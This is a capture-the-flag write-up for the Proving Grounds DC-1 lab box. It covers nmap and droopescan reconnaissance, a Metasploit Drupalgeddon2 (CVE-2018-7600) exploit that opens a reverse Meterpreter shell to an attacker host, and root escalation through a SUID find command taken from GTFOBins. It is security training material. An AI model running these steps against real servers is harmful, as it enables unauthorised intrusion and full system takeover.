# DC-1 Writeup - Proving Grounds

> Easy Linux box running a vulnerable Drupal 7 site, exploited with Drupalgeddon2 (CVE-2018-7600) for a www-data shell, then escalated to root through a SUID find binary using a GTFOBins technique.

- **URL:** https://hackindex.io/writeups/dc-1
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** drupal, rce, suid, gtfobins, privilege-escalation, cve-2018-7600
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

DC-1 runs Drupal 7 on Apache. The version is vulnerable to Drupalgeddon2 (CVE-2018-7600), an unauthenticated remote code execution that gives a shell as `www-data`. The `find` binary carries the SUID bit, which a GTFOBins technique abuses to escalate to root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT      STATE SERVICE VERSION
# 22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
# 80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
# |_http-title: Welcome to Drupal Site | Drupal Site
# |_http-generator: Drupal 7 (http://drupal.org)
# 111/tcp   open  rpcbind 2-4 (RPC #100000)
# 34523/tcp open  status  1 (RPC #100024)
# Service Info: OS: Linux
```

SSH, Apache serving a Drupal 7 site, and RPC. The web app is the target. With no credentials, enumerate the Drupal install with `droopescan`.

### HTTP enumeration

Fingerprint the Drupal version.

```bash
droopescan scan -u http://$TARGET_IP/
# [+] Site identified as drupal.
# [+] Plugins found:
#     ctools, views, profile, php, image
# [+] Possible version(s):
#     7.22  7.23  7.24  7.25  7.26
# [+] Possible interesting urls found:
#     Default admin - http://$TARGET_IP/user/login
```

droopescan reports Drupal 7.22 to 7.26. Any Drupal below 7.58 is vulnerable to Drupalgeddon2.

## Exploitation

### Drupalgeddon2 (CVE-2018-7600)

Drupalgeddon2 is a Forms API property injection that yields unauthenticated remote code execution. Use the Metasploit module.

```bash
msfconsole -q
# msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
# msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS $TARGET_IP
# msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST $ATTACKER_IP
# msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
#
# [*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
# [*] Sending stage (39282 bytes) to $TARGET_IP
# [*] Meterpreter session 1 opened
# meterpreter > getuid
# Server username: www-data
# meterpreter > shell
# www-data@DC-1:/var/www$
```

The exploit returns a Meterpreter session as `www-data`; drop into a shell. Enumerate the box for a privilege escalation path, for example with linpeas.

## Privilege Escalation

### SUID find (GTFOBins)

linpeas flags that `/usr/bin/find` has the SUID bit set. GTFOBins shows that a SUID `find` runs its `-exec` command as the file owner.

```bash
/usr/bin/find . -exec /bin/sh \; -quit
# www-data@DC-1:/tmp$ /usr/bin/find . -exec /bin/sh \; -quit
# whoami; hostname
# root
# DC-1
```

The SUID `find` spawns `/bin/sh` as root, giving a root shell.

Related

## References

- [CVE-2018-7600](https://nvd.nist.gov/vuln/detail/CVE-2018-7600) - Drupalgeddon2 Forms API property injection, unauthenticated remote code execution in Drupal 7 and 8.
- [GTFOBins: find](https://gtfobins.github.io/gtfobins/find/) - SUID find runs its -exec command as the owner.